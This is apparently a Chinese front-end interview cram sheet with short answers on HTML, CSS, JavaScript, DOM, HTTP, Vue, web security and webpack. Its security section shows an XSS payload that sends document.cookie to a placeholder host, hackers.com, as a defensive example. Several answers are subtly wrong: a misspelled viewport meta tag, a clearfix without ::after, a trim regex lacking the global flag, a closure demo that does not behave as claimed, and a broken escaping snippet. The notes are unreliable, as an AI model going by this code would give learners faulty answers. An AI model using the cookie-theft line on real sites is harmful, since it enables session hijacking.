HTML押题
1.（必考）你是如何理解HTML语义化的
第一种举例:段落用P，边栏用aside，主要内容用main标签
第二种：
最后是PHP后端写HTML，他们不会用css，于是就用table来布局。table是用来展示表格的。严重违反了HTML语义化。
后来专门有了写css的前端，他们会使用DIV+CSS来布局，主要用float和绝对定位来布局。稍微符合了HTML语义化。
再后来，前端专业化，知道HTML的各个标签的用法，于是会使用恰当的标签来展示内容，而不是傻傻的全用DIV，会尽量使用h1、ul、p、main、header等标签
2.meta viewpoint是做什么用的，怎么写？
死背：控制页面不要在移动端缩小显示
<meta name="viewpoint" content="width=device-width,initial-scale=1.0">
侃侃而谈
一开始，所有页面都是给PC端准备的，乔布斯推出iPhone 3GS，页面是不适应手机屏幕的，所以乔布斯的工程师想了个办法，默认把手机模拟成980px,页面缩小。
后来，智能手机普及，这个功能在部分网站不需要了，所以我们就用meta:vp让手机页面不要缩小我的页面
3.canvas元素是干什么的？
项目丢给他
看MDN的canvas入门手册
CSS押题
1.（必考）说说盒模型
举例
content-box: width == 内容区宽度
border-box: width == 内容区宽度+padding宽度（不管IE*{box-sizing: border-box}）
2.CSS reset 和 normalize.css 有什么区别？
考英文：
1.reset重置，之前的样式我不要，a{color: red},抛弃默认样式
2.normalize，让所有浏览器的标签都跟标准规定的默认样式一致，各浏览器的标签默认样式一致
3.（必考）如何居中
水平居中：
内联：爸爸身上写text-align: center
块级：margin-left: auto;margin-right: auto
垂直居中：
1.如果.parent身上的height没有写死，那么直接可以用padding: 10px 0;实现垂直居中
2.如果.parent身上的height写死了，那么需要通过以下七种方式进行垂直居中
①table自带功能
②100%高度before，after加上inline-block 这是用伪元素before，after优化后的
③div伪装成table
④absolute margin-top:-50%
⑤absolute translate
⑥absolute margin: auto
⑦flex justify-content: center;align-items: center;
4.选择器优先级如何确定？
1.选择器越具体优先级越高。#xxx > .yyy
2.同样优先级，写在后面的覆盖前面的
3.color:red !important;优先级最高
5.BFC是什么？
举例：
1.overflow: hidden;清除浮动（然而我们总是用.clearfix清除浮动）
2.overflow: hidden;取消父子margin合并，点击demo，然而我们总是用padding-top: 1px;来取消父子margin合并
6.如何清除浮动？
1.
overflow: hidden;(不建议使用)
2.清除浮动写在爸爸身上
.clearfix{
display: block;
content: '';
clear: both;
}
.clearfix{
zoom: 1 /* 兼容IE*/
}
JS押题
1.js有哪些数据类型？
string boolean number undefined null object symbol
object包含了数组，函数，正则，日期等对象
2.（必考）Promise怎么使用？
- then
$.ajax().then(成功函数,失败函数)
- 链式调用
$.ajax().then(成功函数1,失败函数1).then(成功函数2,失败函数2)
- 如何自己生成Promise?
function xxx(){
return new Promise(function(resolve, reject){
setTimeout(()=>{
resolve 或者reject
}, 3000)
})
}
xxx.then()
3.ajax手写一下?
let xhr = new XMLHttpRequest()
xhr.open("POST", ''./xxx"")
xhr.onreadystatechange = function(){
if(xhr.readystate === 4 && xhr.status === 200){
console.log(xhr.responseText)
}
}
xhr.send("a=1&b=2")
let xhr = new XMLHttpRequest()
xhr.open('POST', './xxx')
xhr.onreadystatechange = fuction(){
if(xhr.readystate === 4 && xhr.status === 200){
console.log(xhr.responseText)
}
}
xhr.send('a=1&b=2')
4.闭包是什么？
函数和函数内部能访问到的变量（也叫环境）的总和，就是一个闭包
1.闭包不会造成内存泄漏，只有当变量访问不到，但是依然占据着内存空间，才叫内存泄漏，而闭包里的变量是我们需要的变量。
2.闭包也是为了不让我们需要的变量暴露在全局作用域中，而被他人随意更改，我们可以将需要的变量放在闭包里，然后通过window.某个方法()来调用或者更改这个变量的值
let add = function x(){
var a = 0
function y(){
a += 1
return a
}
return y
}
add() // a = 1
add() // a = 2
console.log(a) // a is undefined
5.这段代码里的this指什么？
- fn()里的this就是window
2.fn()是strict mmode， 那this就是undefined
3.a.b.c.fn()里this是指a.b.c
4.new F()里的this指的是新生成的这个实例
5.()=>{}里的this的值跟外面的this的值一摸一样
foo.call(context, p1, p2)
this就是call的第一个参数
6.（必考）什么是立即执行函数？使用立即执行函数的目的是什么？
(function (){
return true
}())
(function(){
return true
})()
!!!!!function(){
return true
}()
~function(){
return true
}()
作用：
造出一个函数作用域，防止污染全局变量
ES6新语法
{
let name
}
7.async/await语法了解吗？目的是什么？
function returnPromise(){
return new Promise(function(resolve, reject){
setTimeout( ()=>{
resolve('fuck')
}, 3000)
})
}
returnPromise().then( (result)=>{
result === 'fuck'
})
var result = await returnPromise()
result === 'fuck'
目的：
把异步代码写成同步代码
8.如何实现深拷贝？
- JSON实现深拷贝
var a = {}
var b = JSON.parse(JSON.stringify(a))
缺点：JSON不支持undefined, 函数，Regex，日期，引用等
- 递归拷贝
function clone(object){
var object2
if(! (object instanceof Object) ){
return object
}else if( object instanceof Array){
object2 = []
}else if( object instanceof Object){
object2 = {}
}
for (let key in object){
object2[key] = clone(object[key])
}
return object2
}
3.环
4.Regex,Date,Set,Symbol,WeakMap
9.如何实现数组去重？
- 计数排序的逻辑（只能正整数）
var a = [4, 6, 3, 4, 1, 2, 5, 1, 3]
var hashTab = {}
for (let i = 0;i < a.length; i ++){
if(a[i] in hashTab){什么也不做}
else{hashTab[ a[i] ] = true}
}
//hashTab: {4:true,6:true, 3:true,1:true,2:true,5:true}
console.log(object.keys(hashTab)) // [4,6,3,1,2,5]
- set去重
Array.from(new Set(a))
- WeakMap任意类型去重
10.如何用正则实现string.trim()?
字符串首尾去空格
function trim(string){
return string.replace(/^\s+|\s+$/ , '')
}
11.JS原型是什么？
举例
1.var a = [1,2,3]
2.a只有0，1，2，length4个key
3.为什么可以a.push(4)，push哪来的？
4.a.__proto === Array.prototype
5.push 就是沿着__proto找到的，也就是Array.prototype.push
6.Array.prototype还有很多其他方法，如join,slice,splice
7.Array.prototype就是a的原型
12.ES6中的class了解吗？
class声明创建一个基于原型继承的具有给定名称的新类
class Polygon {
constructor(height, width){
this.name = " polygon"
this.height = height
this.width = width
}
}
class Square extends Polygon {
constructor(length){
super(length, length)
this.name = "square"
}
}
13.JS如何实现继承？
- 原型链
function Animal(){
this.body = "肉体"
}
Animal.prototype.move = function(){}
function Human(name){
Animal.apply(this, arguments)
this.name = name
}
// Human.prototype.__proto = Animal.prototype 非法
var f = function(){}
f.prototype = Animal.prototype
Human.prototype = new f()
Human.prototype.useTools = function(){}
var gz = new Human()
- extends关键字
class Animal {
constructor(){
this.body = "肉体"
}
move(){}
}
class Human extends Animal {
constructor(name){
super()
this.name = name
}
useTools(){}
}
var gz = new Human()
-
==相关题目直接反着答
DOM押题
1.DOM事件的模型是什么？
- 冒泡
- 捕获
-
如果这个元素是被点击的元素，那么捕获并不一定在冒泡之前，顺序是由监听顺序决定的
2.移动端的触摸事件了解吗？
1.touchstart touchmove touched touchcancel
2.模拟swipe事件，记录2次touchmove事件的位置差，如果后一次在前一次的右边，就说明向右滑了
3.事件委托是什么？ 有什么好处？
- 假设父元素有4个儿子，我不监听4个儿子，而是监听父元素，看触发事件的是哪个儿子，这就是事件委托
2.可以监听还没出生的儿子（动态生成的元素），省监听器
function listener(element, eventType, selector, fn){
element.addEventListener(eventType, e=>{
if(e.target.matches(selector)){
fn.call(el, e, el)
}
})
}
function listener(element, eventType, selector, fn){
element.addEventListener(eventType, e=>{
let el = e.target
while(!el.matches(selector)){
if(element === el){
el = null
break
}
el = el.parentNode
}
el && fn.call(el, e, el)
})
return element
}
listener(ul, 'click', 'li', fn)
HTTP押题
1.http状态码知道那些？
200：服务器成功返回网页
404： 请求的网页不存在
503： 服务器超时
1xx（临时响应）
2xx（返回成功）
3xx（重定向）
4xx（请求错误）
5xx（服务器错误）
2.301和302的区别是什么？
301： 永久重定向
302： 临时重定向
3.Http缓存怎么做？
1.cache-control：max-age=300
2.避开缓存
4.cache-control 和 etag 的区别是什么？
cache-control：是控制浏览器是否从浏览器缓存取数据还是重新发送请求给服务器取数据
etag：是浏览器发请求到服务器后判断文件是否被修改过，如果没有修改过就发送一个304给浏览器，告诉浏览器从本地缓存取数据；如果修改过就把整个数据发给浏览器
5.cookie是什么？session是什么？
cookie：
1.HTTP响应通过set-cookie来设置cookie
2.浏览器访问指定域名时必须带上cookie作为request-header
3.cookie一般记录用户信息
session：
1.session是服务器端的内存（数据）
2.session一般通过cookie里记录sessionID实现
3.sessionID一般是随机数
6.local-storage 和cookie的区别？
1.cookie会随请求被发到服务器上，local-storage不会
2.cookie大小一般在4k以下，local-storage一般在5MB
7.（必考）GET 和 POST的区别是什么？
1.参数。GET的参数放在URL的查询参数里，POST的参数放在请求消息体里
2.安全。GET没有POST安全
3.GET的参数（URL查询参数）有长度限制，一般是1024个字符。POST的参数没有长度限制（4-10MB限制）
4.包。GET请求只需要发一个包，POST请求需要发2个包以上，（因为POST有消息体）（GET也可以用消息体）
5.GET用来读数据；POST用来写数据，POST不幂等（幂等的意思就是不管发多少次请求都一样）
8.（必考）怎么跨域？JSONP是什么？CORS是什么？post message是什么？
JSONP：通过创建script 标签将返回的参数放在callback回调里，只支持GET
CORS： W3C默认的标准跨域方式，跟Ajax几乎一摸一样
post message： 父窗口向子窗口的跨域，利用window.frames[0].postMessage(this.value, '*')左边的值为消息，右边同意任意跨源请求
VUE押题
1.（必考）vue有哪些生命周期钩子函数？
beforeCreat
created
beforeMount
mounted
beforeUpdate
updated
activated
deactivated
beforeDestroy
destroyed
2.(必考)vue如何实现组件通信？
1.父子通信（使用Prop传递数据，使用v-on绑定自定义时间）
2.爷孙通信（通过2对父子之间通信，爷爸之间父子通信，爸儿之间父子通信）
3.兄弟通信（new Vue()作为eventBus）
3.vuex的作用是什么？
Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态，并以相应的规则保证状态以一种可预测的方式发生变化
官方文档地址
安全押题
1.什么是xss攻击？如何预防？
举例
div.innerHTML = userComments
//userComments 的内容是<script> $.get('http://hackers.com?cookie='+document.cookie)</script>
预防
1.不要使用innerHTML,改成innerText
2.如果还是用innerHTML,就将字符过滤
把<替换成<；
把>替换成>；
把&替换成&；
把’替换成'
把"替换成"
代码div.innerHTML = userComments.replace(/>/, ">").replace()...
3.使用CSP Content Se'cu'rity Policy
2.什么是CSRF攻击？如何让预防？
过程：
1.用户登陆qq.com
2.用户访问hacker.com(恶意网站)
3.hacker.com发送一个qq.com/add_friend的请求，让当前用户添加hacker为好友，
4.用户在不知不觉中添加hacker为好友，
5.用户没有想发这个请求，但是hacker伪造了用户请求的假象
避免：
1.检查referer，qq.com可以拒绝来自hacker.com的请求
2.使用csrf_token来解决
webpack题
1.转义出文件过大怎么办？
1.使用code split
2.写法import('xxx').then(xxx=>{console.log(xxx)})
3.xxx模块就是按需加载的
2.转义速度慢怎么办？
发散题
1.从url到页面实现发生了什么？
1.DNS 查询 DNS 缓存
2.建立 TCP 连接（三次握手）连接复用
3.发送 HTTP 请求（请求的四部分）
4.后台处理请求
5.监听 80 端口
6.路由
7.渲染 HTML 模板
8.生成响应
9.发送 HTTP 响应
10.关闭 TCP 连接（四次挥手）
11.解析 HTML
12.下载 CSS（缓存
13.解析 CSS
14.下载 JS（缓存
15.解析 JS
16.下载图片
17.解析图片
18.渲染 DOM 树
19.渲染样式树
20.执行 JS
